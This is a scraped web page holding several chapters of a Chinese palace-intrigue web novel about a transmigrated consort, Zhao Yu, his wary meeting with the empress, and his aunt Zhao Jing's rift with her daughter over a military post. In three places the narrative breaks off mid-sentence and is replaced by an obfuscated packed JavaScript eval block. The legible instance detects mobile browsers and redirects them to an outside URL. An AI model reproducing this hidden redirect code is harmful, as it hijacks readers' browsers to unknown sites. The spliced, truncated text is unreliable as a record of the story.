只是十三四岁的男孩身体还未长成,又从小饿得面黄肌瘦,羸弱不堪,早婚早孕的结果大多都是难产,一尸两命。 赵煜看到此处,也大概推测出来了结果。幼女生产、母子俱殁的情况在梁朝并不稀奇,往前数几个朝代,更是屡见不鲜。 但活下来的人总比死的多,等活下来的儿童长成,有了力气开垦荒田,代代下去,日子也就渐渐不再拮据。那句曾被民间戏谑成童谣“早婚早死,晚婚嘲死,不婚饿死”的景象,也就渐渐成了过往云烟了。 只是燕朝的太宗皇帝临朝后,见此症状,却是降下了旨意。规定无论男女,须年满十六岁方能算作成人,才能自由嫁娶,在官府登记入册。 是以,在朝廷这种的政策之下,尽管仍有不少年幼的男儿早早结婚生子,但相较于开国之初,这种情况已然改善了不少,幼儿少年锐减之势不再。 赵煜读完了这一节的地理志,深深呼吸了一口,放下了书。知道贫民尚且多数十六七岁才成婚,上层贵族的嫁娶就只会更晚。 他往前数了数,算下来,这具身体还是燕朝第一位不满十六便与皇帝成婚的凤君。 皇帝刚十六岁成人就迫不及待娶了正君,还是一向忌惮的赵氏,总不可能是因为喜欢,赵煜冷笑一声。 梁朝时期也有皇帝即位时年岁尚小,待大婚或及冠之后才真正掌握了亲政大权的。想来对方的目的也正在于此。 算计的是这具身体,要承受这一切的却是自己,赵煜心中很难不恼怒。脑海中甚至有个荒唐的念头一闪而过,不知道以这具身体目前的势力,足不足够在四个月以内悄无声息地让皇帝瘫痪不举,或是直接含笑九泉? 但终究是面上一哂,痴心妄想罢了。一个连凤印都没能握在手里的人,要怎么杀死皇帝?叫宫侍几人一齐使力,把人活活勒死吗? 赵煜无言静坐半天,等茶都凉透了,才渐渐松开了紧攥一起的拳头,不再异想天开。他才刚到此地一天,不知道生气厌恶了多少回了。 往日心情不好时,杀几个贪官污吏抄其家产,便也勉强开颜。一朝举步维艰,倒真想不起有什么事情可以做。哪怕凤君在理论上拥有处置六宫、参赞朝政的权力,但眼下实际上,他可没那资本去和太皇太后打擂台。 赵煜手边堆了一摞又一摞的书,从午膳看到晚膳,又从清早看到晚间。宫侍不知道主人要这么多书做什么,几日来来回回往文渊阁跑,鞋底都磨薄了。 有大把时间梳理书籍、整理情况,也算是目前无所事事的唯一好处。赵煜看书先不会急于深读,只是粗略扫一遍,记下来哪些是值得琢磨的,等需要了再找出来,常常几本书几个事件一起佐证一个想法。 待读罢《通典》《宫闱礼制考》《大燕治典》《宫奴职掌》等一系列典籍后,也才终于知道,像高氏这般手段拙劣之人,究竟是如何登上太君后宝座的。 同样也明白了,皇帝到十七岁的年纪,怎么还是未经人事。 按照燕朝惯例,皇女成年后,会先被赐予两名教养宫侍,负责教导她们房事。 高氏就是先帝燕仁帝的两个教养宫侍之一,也是仁帝宠幸的第一个男人,故虽然出身低微,头脑也不甚清明,却深得先帝的喜爱,一路封君。 后来燕仁帝看中了他的女儿,也当今的皇帝殷洛做皇太女后,更是直接把他封为了凤君。 仁帝体弱多病,子嗣不丰。太皇太后赵氏对于自己女儿的选择,虽然在明面上没有多言,但心底对高氏始终看不上眼。等到仁帝病逝,殷洛十六岁成人之后,便不再安排教养宫侍,唯恐再出一个高氏。甚至连侧君小侍也一并否决了,直接让她挑选了凤君。 赵煜从隐晦处推论出这层因果后,不由想到,难道这具身体入宫封后,除了是因为皇帝要对赵家展示恩宠,还加之皇帝误以为太皇太后先前不让她娶妃,是在为赵家的儿郎做谋算? 赵煜按了按眼睛,心道真是阴差阳错,种种原因加起来,这具身体是注定非要入宫不可了。 - 这几日,赵煜一直待在凤仪宫中。除了先前杖杀奴才一事,后宫平静得像一潭死水。 太皇太后并不严苛,不需要凤君每日早晚请安,照例每月初一、十五和一些节庆的日子前去露个面就已足够。 太皇太后对凤君尚不要求过多,高氏又看赵煜不顺眼,更是几乎一面都不想看他。赵煜拿了这具身体的宫廷日志看后,发现他去长宁宫拜见两次之后,高氏就开口免了他的请安。何况他才刚气过高氏一场,皇帝也不来后宫。 赵煜乐得无事打扰。他虽然逐渐对这个地方有了了解,但对于这具身体的性格和习惯却并不熟悉。 高氏是个蠢人,又与这具身体接触不多,不必担心他会发现什么。而身边的奴婢碍于他的身份,自然不会有人敢质疑他。但太皇太后不同,他权势至此,必定心细如发,心如明镜,赵煜没把握不叫他看出端倪。 赵煜登基后的第一年,身边曾有个近侍太监被绊倒落水后性情大变,由胆小甚微变成了个炮仗,惹得许多太监宫女都暗暗说他是鬼上身了。 赵煜虽然知道这不过是奴婢之间的权力争斗,那太监不过是被人欺负得有些疯了罢了。但无知者人心惶惶,他身边也不需要留一个这么扛不起事来的奴才,便直接将他打发去照顾太上皇去了,身侧又换了一个机灵的面孔。 人心如此叵测,为了拉人下马,黑的都能说成白的,何况赵煜真是一个其他地方来的魂魄,就难免更会防备三分了。 正月二月二十二日,后宫之中仍旧波澜不兴。这日,皇帝身边的记注官却写下了“燕天启元年正月二十二日,工曹监兼盐政督办使赵婧呈奏新盐法首期成效:自去岁九月择淮安盐官、东阳亭试行新法,迄今核验盐策十二万石(内旧积八万石,新煮四万石),起解盐赋六千金,广陵均输曹现存待漕官盐五万石。试行县道私鬻盐者较旧岁减什七。皇帝览奏,甚慰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而赵珩的长女赵英、幼女赵婧在她的庇佑下,也很快进入朝堂。赵英三十四岁官至正四品吏曹监,执行文官考绩,决定官员迁谪。总之燕朝各地大大小小的位置上,很多官员不是姓赵,就是赵珩的门生,或者赵珩门生的门生。 写书人自诩为清流,自然对权势滔天的赵家自然看不过眼,洋洋洒洒明褒暗贬地写了一大通后,最后结尾调侃似的发泄了一句,赵家是“前朝扶着龙椅起,今世掌着玉玺眠”。一般人祖坟上是冒青烟,他赵家坟上的烟恐怕已经青到都发黑了,可见笔者的怨气。 不过世家世家,再怎么树大根深,叫人愤懑,终究不过皇帝的臣子罢了。 赵煜微微一哂,且不说他自己是如何趁着逼宫的时候,顺手就杀了几家氏族,就说不过天启六年,如今算起来将将五年,权势滔天的赵家就被皇帝连根拔起了。 若这个笔者还活在世上,不知道看到如今天子的君后也是姓赵,心中会作何感想? 赵煜觉得有些好笑,摇了摇头,放下了这本。 - 正月二十六日午初,皇帝的近侍方娴率人抬着赏赐到赵府。赵婧虽仍在扬州未归,但隆恩已至。除却常规的御赐书卷、官窑瓷器、文房四宝、官服等物品,还特意给了荫其幼女赵璇入朝的恩典。 盐政改革这样的大事,哪怕只有两地试行还未全国推广,也会将所有人的眼光都牢牢牵制住。盐不是盐,白花花的税银。 而这三个月的改革效果一出,就没人能再指出赵婧此次极力主持改革的弊过,死了一些人也算不得什么事了。 前朝是朝堂,后宫也是朝堂。 赵煜不知道今天朝廷上所发生的事。他午睡醒后从内室走出来,只见今日殿内格外安静,宫侍莫不敢抬头。 赵煜眯了一下眼,抬脚绕过屏风,看见自己的椅子上正坐着一个人,正低头翻阅着书卷。 对方身穿一件玄色的缂丝常服,上面用金线绣着暗纹的五爪金龙,一头黑发高束成马尾,以一顶金冠固定,线条硬朗简洁,动作间似有暗影浮动。 承光几人见他出来,叫了一声:“殿下。” 对方才好像耳朵听到了动静似的,抬起头来,冲着赵煜举了举手中的书,微微一笑道:“听校理说,君后都快要把文渊阁搬空了。” 赵煜脸色不变,上前一步,行礼道:“见过陛下。”目光扫过对方手中的书卷,看见封面是其中的一本寻常礼制,直起身来,顺势移开了眼睛。 7. 皇帝暗示 殷洛放下书卷,从桌案后站起了身。 她站的位置稍高,再加上身形颀长,站在那里天然就带着几分优势。微微俯视,轻易地就将赵煜一眼观之。 凤君赵煜,年十五,正一品天枢府令赵珩之嫡长孙,太皇太后赵琛之侄孙,正二品文渊司卿赵英之嫡长子,正四品工曹监兼盐政督办使赵婧之侄。 世家大族,钟鸣鼎食,门第显贵,自小就被万众瞩目。 赵煜入宫三月,殷洛隔几天便会来凤仪宫坐坐,与他吃一顿饭,闲谈几句。两人的关系不尴不尬,保持着一种微妙的距离。 只是不知道是不是多日不见的缘故,殷洛此刻看着他,竟觉得对方的神情和眼神有些陌生。 她面上不显,继而一笑,语气带着几分调侃道:“那些考课选出来的官吏,要是见到君后,恐怕也会自愧弗如。” 燕朝还没有建立科举制度,可以考试任职的不过县一级的官员。赵煜也微微一笑,回复道:“不过闲来无事,看书打发时间罢了。” 赵煜在案几上堆满了书,地面上也高高地摞着,几乎没有让人可以下脚的地方。殷洛侧过身,从桌案后头绕出来。 赵煜的目光一直随着对方的动作一起移动,余光却在桌案上一扫而过。上面的镇纸下压着几叠写着字的麻纸,依旧摆放得方方正正,看不出来有什么挪动的痕迹。 不过赵煜写字时学的是这具身体惯用的小楷,纸上也只有寥寥的记录而非评论,自然也无所谓是否有人翻看。 他后撤一步,跟着皇帝身后一起向外间走去。皇帝微微侧脸,关切地说道:“君后若是觉得无聊,不妨多出去走走。书中虽有颜如玉,但整日闷在屋里不见天日,人都提不起什么精神。” 皇帝突然造访凤仪宫,见赵煜正在内室休息,没有派人把他唤醒,却也没有转身离开,必定是别的重要目的在,赵煜应答了一声:“多谢陛下关心。”只等待她的后文。 殷洛和他一齐在桌前坐下,彼此的膝盖有意隔了两拳的距离。看见桌上的糕点一动没动,已是不甚新鲜的样子,眉头不由一皱,声音略沉道:“是御膳房送来的点心不合胃口吗?怎么不同奴婢们说,叫他们换几盘新做的。” 凤君的手边,自然时刻要准备着能入口的,几个宫侍赶紧出来告罪。 赵煜却后来在军中待惯了,更好一些咸口辣口的食物,对甜腻腻的点心敬谢不敏,自然叫御膳房和小厨房不必多做,剩下的由奴婢们自行分食。闻言随意找了个借口:“这几日我胃口不好,不必做出来浪费。” 殷洛不知道他这句“胃口不好”是不是意有所指,一时间顿了一下,随即还是决定佯作不知,担忧地问道:“胃口怎么不好了?叫太医瞧过了吗?” 赵煜摇头道:“只是沉迷看书,身子有些疲乏,并没什么大碍。” 皇帝闻言,语气里带着几分不赞同:“读史虽然明智,但身体更为重要。近日可还觉得胸痛吗?”一副关切备至的模样。 前些时日皇帝因为赵煜晕倒一事,还特意给凤仪宫送了不少好药材。不过这具身体之前只是气滞心胸,怎么也不需要去吃人参之类的大补之物。皇帝送的东西虽然珍贵,但究竟是否上心,上了多少心,一眼便知。 此时看向赵煜的眼神虽然关怀真切,但赵煜可并不会信她八分假的关心,只是应道:“已经不碍事了,让陛下费心了。” 真真假假虚情假意的几番对话,皇帝做足了关心的姿态后,才另起了话题,问道:“算起来,君后入宫大约也有三个月了,在凤仪宫住得可还习惯?赵司卿还向朕问起过你,说你从来没有离开过家。” 赵司卿,赵煜目光一动,知道自然应该指的是这具身体的母亲赵英。算来今年她不过四十六岁,已经升任文渊司卿了?赵煜微笑道:“谢陛下,凤仪宫一切还不错。” 皇帝却仿佛全然忘却了赵煜之前的凌厉手段,将他视作一个初入宫闱满心惶惶的少年一般,言语体恤道:“若是想家了,尽管把亲朋召来宫中叙旧。或是多出门散散心,免得被闷坏了。” 这是赵煜第二次听皇帝提起叫他“多出去走走”,便知道这句话不可能仅仅是表面的意思。难道皇帝是想叫他看见什么画面,或是见到什么人吗? 赵煜心中微微一动,表面顺势应答下来。果然,下一句皇帝就自然而然地说到了重点:“朕刚任命了你的表姐赵璇为演武场的巡场校尉,马上就要上任。君后日后出去散心,也不妨到演武场去走走,姐弟之间也可叙叙旧。” 尽管文渊阁中有不少与赵氏相关的典籍,但倒也不会详细录入赵家所有的世系。赵煜不知道这个赵璇是哪个表妹,与这具身体熟不熟络,听了这话,面上不动声色,只佯装不知问了一句:“巡场校尉?” 皇帝状似无奈地轻笑了一声:“是啊,还是叫她如愿以偿了。” 巡场校尉是从六品的官职,负责维持演武场的秩序、监察训练纪律,以及护卫主人骑射时的安全,一般会从禁军中选拔。赵煜眯了一下眼睛,不知道皇帝把这件事告诉他的用意是什么?还做出一副与赵璇甚是亲昵的模样。 皇帝好像没看见他脸上一闪而过的异样,叹息着摇了摇头,解释道:“赵婧——你姨母这个人啊,性子太倔。她自己是个文臣,便重文轻武,几年来一直压着你表姐,不让她弃文从军。朕昨日突然想起此事,一问才知道,赵璇如今居然还在和她母亲抗争,看来是真心想要从武。朕索性就做了这个恶人,给了她这道旨意。” 赵家世代为文臣,虽在朝堂上根深叶茂,却向来手无寸铁。赵婧居然不许赵璇从军,不想在军中插入赵家的人手? 赵煜的眸光微微一闪,知道其中必定有什么蹊跷,但面上毫无异色,点头称是:“巡场校尉虽是军职,但不用上阵打仗,倒是个两全之策。” “怕是你姨母这还不肯呢。”皇帝笑了一声,语带无奈,“虽说少年人正是闯荡的年纪,但做母亲的,哪里会不担心呢?习武者,身上青紫都是小事。朕还怕这道旨意,叫她们母女再闹出什么矛盾来。” 赵煜当然不信皇帝让他去演武场和赵璇谈天,只是为了让他缓解思家之情。也不会信巡场校尉这种看似品阶低微、实则位置举足轻重的职务,皇帝能突然想到了赵璇,叫她一个从未从过军的人领了此职。 更不会信皇帝不期待着赵婧母女离心,分崩离析,从内部瓦解了赵家这一撮的势力。 他心中百转千回,表面顺从道:“堵不如疏。若一直强行压制,日后反弹只会更加厉害。” “朕也是这个意思。”殷洛颔首,勾了一下唇角,笑道,“不过积弊已久,非猛药不能去疴,难免会有一番狂风骤雨。朕看呐,朕的这个巡场校尉,怕是要顶着一身的狼藉前来赴任了。” 赵煜陪着她一笑。皇帝说完此事,俨然今天的目的已经达到,随即又转移话题,随意和他闲谈了几句。 只是两人都没有做过讨好他人、处处找话题的角色,很快便无话可说,渐渐止住了话音。两人身边的奴婢都站得较远,生怕打扰了皇帝和凤君的交谈,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15106856|163911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自觉地营造出来一种二人独处的氛围。 赵煜一向是卧榻之侧不容他人鼾睡,哪怕是在皇子时期,也从没有旁的主人敢到他的内室久坐。 何况现在他为臣,眼前人是君,一旦察觉有异,立即感到了一种被入侵了领地的不适。 索性皇帝也并没有什么跟赵家人培养感情的打算,也不想再继续面对面地和他坐下去,很快站起了身,道:“前朝事务繁忙,朕今天还有不少事,就不再多留了。” 赵煜自然顺势起身,微微欠身,目送皇帝离开:“恭送陛下。” - 等皇帝的身影消失不见,几个宫侍直起身体,脸上都不自觉地露出笑意。 自正月十九日凤君杖毙小侍后,陛下已经多日不曾踏进凤仪宫。虽然理由是政事繁忙,还特意叫方侍送来了补品,但事情恰巧发生在这个时机,叫人怎么能不心生忐忑。 现在陛下总算来了,终于松了一口气。 赵煜重新坐回了椅上,手支着额头,半眯起眼睛,陷入沉思。 燕仁帝的第二女殷洛,四岁历经仁帝即位,七岁被封皇太女入主东宫。今日一见,果然心有城府。 太祖、太宗皇帝皆出身行伍,以兵变起家,建国初期的朝堂之上多为武将。尽管后来几位皇帝皆重文治,有意提拔学识渊博的人才,到至今,武官的地位和声望亦未逊于文官分毫。 赵婧禁止其女赵璇弃文从武,决不会是因为文官狭隘、重文轻武的偏见。但要说此举是为了不叫皇帝更加防备赵家,可太皇太后手握兵符,能够调动中央禁军和地方驻军,难道还怕加上一个只能先从底层爬起的赵璇吗? 赵煜目光微沉,知道大有可能是这个赵璇行事上存在什么问题,所以不能轻易让她迈入军中。 而且算来,皇帝叫赵璇去当巡场校尉则更是突兀。燕太祖重视武艺,开国时不仅在京城周边设置了军演的演武场,还特意在皇宫内辟出一个中型演武场,供皇子皇女日常骑射,兼侍卫亲军闲暇时自行训练使用。 巡场校尉是负责护卫皇室骑射安全的人,通常由皇帝手下机敏的心腹方能担任。她肯任命赵璇,难道对方身在曹营心在汉,实际上是皇帝那边的人? 赵煜手指敲了敲膝盖,总觉得事情哪里有些不对劲。赵璇若是纯臣,这具身体也说不出什么“赵家欺君,满门抄斩”的话了。皇帝是想借此离间这对母女则更是不对,赵婧赵璇血脉相连,难道会为了任不任一个职务而反目成仇? 再说,皇帝又为何会提起,非叫他去和赵璇叙叙旧呢? 赵煜眉心微微蹙起,脑海里闪过无数的念头。但他眼下手中掌握的信息太少,难以准确地推测出来。 看来这个赵璇,他还须得亲自去会一会了。 赵煜抬起头,问一众宫侍:“最近朝堂上发生了什么事吗?”目光越过几个近侍,射向殿内的所有人。 众人彼此迟疑对视了一眼,都纷纷摇头,表示未曾听闻。虽然宫中奴婢们经常私下里咬耳朵,捕风捉影夸夸其谈,但谈论的都是一些主人的好恶,或者哪个宫里发生了什么腌臜事情,但要是涉及到朝廷,还真是一问三不知。 凤仪宫中虽有属官五人,奴婢若干,却无一能派上用场。赵煜只觉眼前仿佛蒙了一层黑布,耳中似被棉花堵住,四面八方的消息却不能有一丝透入,不由得拧了一下眉头。 但培养耳目这件事不宜心急,开口吩咐明夷:“你去演武场,问里头的考功录事,赵璇什么时候任职。我得空了,会去看看她。” 8. 母女相争 皇帝任命赵璇一事,不仅引起了朝廷和后宫的注目,更在赵家内部掀起了一阵汹涌的暗涛。 赵婧受赏之时尚在淮安盐场,距京都建康四百余里,顺水行船需要将近四天。她年前就远赴淮安主持大局,过年也不曾归家,直到这次盐改试行初见成效,才得以回京亲自禀报。 皇帝好像特意留足赵璇和母亲争论的时间似的,叫她正月三十一日正式赴任就职。二十九日傍晚,赵婧甫一抵京,来不及涤尘去垢,便立即直奔宫中复命。 融融灯火下,殷洛手里捏着赵婧之前呈上的奏折,抬眼见对方风尘仆仆的模样,不禁叹了一声:“盐改之事委实劳心耗力,赵曹监瘦削了不少。” 赵婧身形依旧挺直如松,正声道:“臣惭愧,不敢言苦。” “哦?”殷洛眉梢微微一挑,“你的折子朕和太皇太后都已经看过了。自去年十一月淮安盐场和东阳亭两地试行新盐法以来,三个月内,盐产量高达十二万石,缴纳押运盐税六万两,私盐贩卖案件少了七成。这么大的功劳,你是其中的首揆,惭愧在哪里?” 赵婧微微欠身,不苟言笑道:“臣不敢居功。盐改之事虽小有起色,但仍有不少困难亟待解决。东阳亭盐场官仓亏空三成,私盐贩子与漕帮勾结,臣核查无误后,依律斩首二十七人。” 殷洛面色如常,唇边笑意淡然:“这事你也已经禀告过了。朕和太皇太后既然委你重任,给了你处置盐政乱象的权力,就是相信你的判断。小私盐贩子不足杀,大私盐贩子理应杀,漕帮该剿,官场该清,你此举并无错处。” “仰赖陛下明鉴。但臣所虑者,还不止于此。”赵婧从袖口取出一本折子,笔直地双手呈上。她的语气虽然严肃庄重,但所呈奏折并不厚重。 殷洛伸手接过,边垂眼扫视着,便说了一声:“赵曹监直说便是。” 赵婧微微垂目,语调冷峻道:“臣赴任以后,淮安、东阳亭两处盐场虽已整顿,效率和产出都有所增益,然盐工生计还是分外艰难。去岁暴雨冲垮盐田,盐工发生暴动,虽已平息,但到底根源未除。臣查访得知,各处盐工月俸不足养家,且常遭工头克扣。臣虽然已严惩贪腐,但暗地里,定还有更多力所不能及之处。长此以往,恐盐场会再生事端。” 赵婧所奏之事,是去年八月发生在淮安盐场一场的骚乱。事情虽然不大,地方县官也迅速将民情安慰了下来,但到底是一处病疮。还是殷洛登基以来面临的第一处病疮。 殷洛抬起眼来:“那赵曹监以为?” 赵婧沉声道:“臣请增设盐工抚恤银,按月足额发放,并设立专门机构,专职监察盐场贪污克扣等不法行为。此外,臣建议还要在盐场附近增设医馆、学堂等设施,以利盐工生活,稳固盐场秩序。” 殷洛合上奏折,略一沉吟,问道:“监察机构可以设,医馆学堂也可以建,但这抚恤银……是以什么名目给的呢?” 赵婧略微一顿,殷洛随即微微一笑,语气带几分调侃:“盐工辛苦,按照当地的生活标准增加俸禄即可。抚恤银虽然名义上好听,但要是被朕的那些工匠奴婢们知道了,恐怕不会依朕。” 赵婧自然躬身:“是臣欠考虑了。” “无妨。”殷洛一笑而过,接着问道,“依照如今的形势,朝廷若继续严查私盐、追缴漏税,赵曹监,你预计每年国库能增加多少税银?” 赵婧不曾思忖,答道:“回陛下,只淮安、东阳亭盐场两处,每年增幅应有一百万两。” “这款项那就分出一部分,用于建设你方才提到的那些设施吧。”殷洛颔首,吩咐道,“此事朕便交由工曹与礼曹协同办理。你回去后与礼曹监联络,尽快拟定一份详尽的章程呈上来。” 赵婧躬身应是。 君臣二人就盐改一事又探讨了片刻,方娴过来换灯芯,灯光微微摇曳,殷洛才像是反应过来,敛眉笑道:“天色竟已这般晚了,朕居然毫无察觉。” 赵婧道:“陛下辛苦。” “赵曹监才是真的辛苦。”殷洛语气关切,“曹监久未归家,想必家中有人正翘首以盼,朕便不多留你了,早点回去歇息吧。” 赵婧欠身一礼,口中道:“臣多谢陛下体恤。” 只是待转身欲走之时,殷洛忽然又开口叫住了她:“赵曹监。” 赵婧停了一下,重新回过身:“臣在。” “曹监的小女儿后日就要到演武场任职了,裁造署已经做好了官服,不知道合不合身。”殷洛微笑道,“若是不合身,叫她自己拿去改也就是了,不必着急。” 赵婧默了一瞬,面色不变地应下:“是,陛下。” - 赵婧出了宫门,几个奴婢已经驾着马车在外面等候多时。见大人终于出来,忙递上了手炉。赵婧坐进车厢,阖眼问道:“二小姐呢?” 管事答道:“小姐正在大人的书房。” 赵婧淡淡“嗯”了一声,没有再开口。 亥时末,赵婧穿过长廊行至书房门口,屋内灯火通明,烛光透过门缝洒在廊下,照得2地面微暖。她脚步未顿,管事已然心领神会,悄然叫走了守在门口的侍卫。 赵婧推开门,只见一人背对着门口跪在地上,身影挺直,一动不动。听到开门的动静,抬头叫了一声:“母亲。” 赵婧没有说话,从她身边绕行过去,坐到了桌案后面。她不开口,赵璇自然也不再出声,蜷了蜷手指,仍然直挺挺地跪着。 赵婧缓缓地喝了几口凉透了的茶,半响,才平静地说道:“去找张晴将你的双腿打断,后天不必去任职。养得半好后向陛下请辞,说自己不良于行,担不了这样的军职。” 赵璇愣了一下,忙道:“母亲!女儿想去试试。” 赵婧没有理会她这句,只是问道:“上一任巡场校尉坠马瘸了腿,太皇太后刚选中了继任之人,尚未下旨,皇上便挑中了你去赴任。你说,皇上到底是如何看待你的?” 赵璇听出母亲话中的意思,抿了抿嘴,只能道:“……陛下的心思,我无从揣测。” “我看你是太清楚了,只是肆无忌惮。”赵婧沉声道,“等你伤好后,也不要在京城待了,去怀源县做个文书。怀源县令是赵家的学生,她会仔细教你。去吧。”便不想再看她。 赵璇跪地闻言,却是用力咬了咬牙,仍是倔强地一动不动。赵婧双眼与之对上,语调低了下来:“怎么?你还是想去?” “……母亲。”赵璇的身体微微前倾,虽然有些犹豫,但还是坚定地说出,“是,我还是想去。女儿从小就没有什么大的志气,只一心想要舞枪弄棒,驰骋疆场。我耐不住性子,也做不来什么文书。” 赵婧的声音冷冽而低沉:“演武场巡场校尉这个位置,多少人在盯着。你不是禁军出身,又从未从过军。赵璇,凭什么是你?” 赵璇张了张嘴,没能说什么话。赵婧淡淡道:“赵家护得住你一世,护不了你每时。侍卫亲军藏龙卧虎,个个都是身经百战的精兵悍将。你以为是皇上的任命,你的下属就会信任你,同僚就会真正尊重你?别说是管理演武场,你连自己能不能保住都是未知。” 赵婧是地方实务出身,几问下来不怒自威,很少有人能扛得住。 但赵璇这几天以来一直在想此事,此刻并不想退缩,而是说:“母亲,您说的这些,我都已经想过了。我知道我担不起校尉的职责,也从未想过去担这个重任。但陛下金口玉言,我既然进了演武场的大门,哪怕不堪重用,也可以留下来做一个普通的士卒。我不怕吃苦,只怕无苦可吃。” 赵婧定定俯视着她,凝起眼神,发问道:“天枢令的亲孙女,我赵婧的亲女儿,这样的身份,你却甘愿到泥泞中摸爬滚打?” 赵璇轻呼出一口气,还是摇了摇头:“母亲,女儿羞愧。但我深知自己没有那个才能,实在不想入朝为官。官场之事太过复杂,勾心斗角尔虞我诈,我更喜欢过那种直来直去的日子。哪怕军中举目无亲,只要能依靠自己的本事向上爬,我也觉得心满意足了。” “你不是不想入朝为官。”赵婧的目光却如刀锋般锐利,直直地注视着她,静静地总结道,“你是不想顶着赵家人的身份入朝为官。” 赵璇呼吸一滞,不敢回答。 “太祖开国,赵家几乎是孤注一掷,牺牲了多少年轻优秀的子弟,才终于站到了潮峰之上。而潮峰上风头无两,诱惑无尽,却也危险无限。你以为赵家权势滔天,是佞臣,你母亲我是一个奸佞。”赵婧微微停顿,目光如寒星般直视她,“赵璇,你身为赵家人,身在赵家,心却不喜欢赵家,只想远离纷争,做你所谓的清白人。你以为你的心思,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你明知陛下是要算计你,算计赵家,可为了你那不值一提的痛处,为了逃避身为赵家人的责任,竟心甘情愿地凑上去,任人利用。”赵婧眼里闪过一丝失望,定声问道,“我真没想到,你居然会天真荒唐到这种地步。赵璇,你真是我赵婧亲手养出来的女儿吗?” 赵璇的眼眶在听到那声“废物”就已经有些发酸,此时听到母亲再问,半天说不说什么话来,随即忽然深深吸了一口气,紧攥起双拳。 “那母亲想要什么样的女儿?”赵璇目光一瞬不瞬,直直地看着她,“像赵煜那样性格的吗?” 赵婧双眉一蹙,听赵婧继续说道:“赵煜听话不问事,手段高明,只和陛下同窗一载,便成功入宫封后,甘心拿自己当赵家掌控朝局的棋子。母亲,只有这样聪明的,肯为赵家牺牲一切的,才配是你的女儿吗?” “你以为赵煜能当上凤君,是赵家的布局吗?”赵婧拧起眉头,冷声道,“你以为他听话懂事,是一颗最好利用不过的棋子?你错了,是他自己千方百计要入主凤仪,背后不知道算计了多少人。倘若赵家出事,他也帮不到赵家任何。你以为我喜欢他?赵璇,我从来不知道,你居然还会嫉妒赵煜。” 赵璇咬紧牙关,不肯承认,只道:“母亲,我知道以我的身份,借助赵家的势力,能够轻而易举地往上爬。但,哪怕是去军中当个马夫刷马,我也会比待在前朝被所有人敬畏满足得多。赵家已经出了一个赵煜,不必再出一个赵璇了。后日,女儿必定会去赴任。” 赵璇说罢,起身欲走,但又有一股苦涩的愧疚感涌上心头,这是她第一次如此激烈地反抗母亲的决定。 但赵婧只是平静地看着她,淡淡说道:“你今天出了这扇门,赵家再也不会管你。” 赵璇身体倏地一僵,停住了动作,愣愣地看向母亲。 赵婧合了合眼睛,漠然道:“赵璇,这些年来,我训斥过你,鞭策过你,放任过你,我已经教不了你了。既然你心意已决,赵家对你仁至义尽,从此以后,只当没有你这个人,生死不强求。” 赵璇呆呆唤了一声:“母亲……”赵婧已经合起双眼,不再看她。 她怔怔地又跪了一会儿,半响,才从这些话中回过神,哑声道:“母亲,是我让你失望了。您和赵家……都对我很好,是我自己没有那个福分,不配当赵家的女儿。” 她深吸了一口气,憋住眼眶的眼泪,重重地磕了一下头,道:“那母亲……女儿走了。惟愿母亲官路亨通,无病无灾,不必记挂我这个不孝女。” 赵婧闭着眼睛,耳畔回响着衣料摩擦的细微声响,门“嘎吱”一声被推开,又轻轻地被合上。她闭着眼睛,自始至终没有再睁开。 9. 马夫 赵煜先前叫人盯着演武场,赵璇甫一赴任,立刻就有奴婢给凤仪宫送了信。 明日正是二月初一,凤君需得到长春宫给太皇太后请安,赵煜正好可以赶在请安之前套一套赵璇的话。 承光询问道:“殿下要去演武场,是否要换上骑射服,顺便松快一下筋骨?” 赵煜多日不出凤仪宫,自觉身体有些怠懒,是该活动一番,颔首道:“可。” 几个宫侍忙从库中取出一套皮革制成的骑射装备。 演武场被一分为二,一半给皇室专用,一半给侍卫亲兵。这里不比专门用来操练的箭亭,不过是一个禁军私下加练的场所,是以两个场地虽不互通,但也并非泾渭鲜明,中间只用一道低矮的栅栏隔开,好叫让前来骑射的皇室子弟有一种彷佛置身于军队之中的感觉。 演武司监等人中途收到凤君将至的消息,忙不迭领着一众官员赶来在门前恭候。赵煜在人群中扫视一圈,并没有在其中发现一个年轻女子的身影,轻微地眯了一下眼睛。 演武司监连忙上前一步,躬身解释道:“赵校尉刚到不久,正跟着考功录事领取官服,巡视演武场。臣已派人去通知她们,现在应该正在赶来的路上了。” 赵煜戴上手套,语气随意道:“不急,我先去跑几圈马。赵校尉到了,让她自己直接过来见我便是。” 演武司监听出了凤君的口风,知道他不喜欢身后跟着浩浩荡荡的队伍,忙道:“臣先带殿下过去挑马。”说着悄悄摆了摆手,示意其他人退下,只留下了一个四五十岁的厩长。 这个厩长是个从边关退养下来的老将,专司马匹饲养,最熟悉马性。在演武司监的示意下上前一步,准备为凤君介绍马场的情况。 只是她第一次与凤君这样尊贵的人物交谈,显得有些紧张,有些磕巴地说道:“殿……殿下,演武场的马匹都是精心挑选的良驹,性情各异。有些脾气暴躁,很不好相处。殿下若是不熟悉马性,奴婢可以为您详细介绍,免得您选错了马,惹得它不高兴。” 这话说得赵煜不由得一笑。演武司监听后张了张嘴,恨不得要踢那厩长一脚,但在凤君面前不好伸腿,只能恨恨地按捺住了。 养马的专才更要爱马,赵煜不甚在意这一出,接着问道:“都有些什么马?” 演武司监这回不敢推厩长去回答了,忙道:“回殿下,马厩里的马匹大致分为三类:一类是战马,性情刚烈,矫健敏捷,适合在战场上冲锋陷阵;一类是骑乘马,性情温和,步伐稳健,适合日常骑乘;还有一类是驯马,大多是新引进的,性情尚未完全驯服,需要有经验的人来驾驭。” 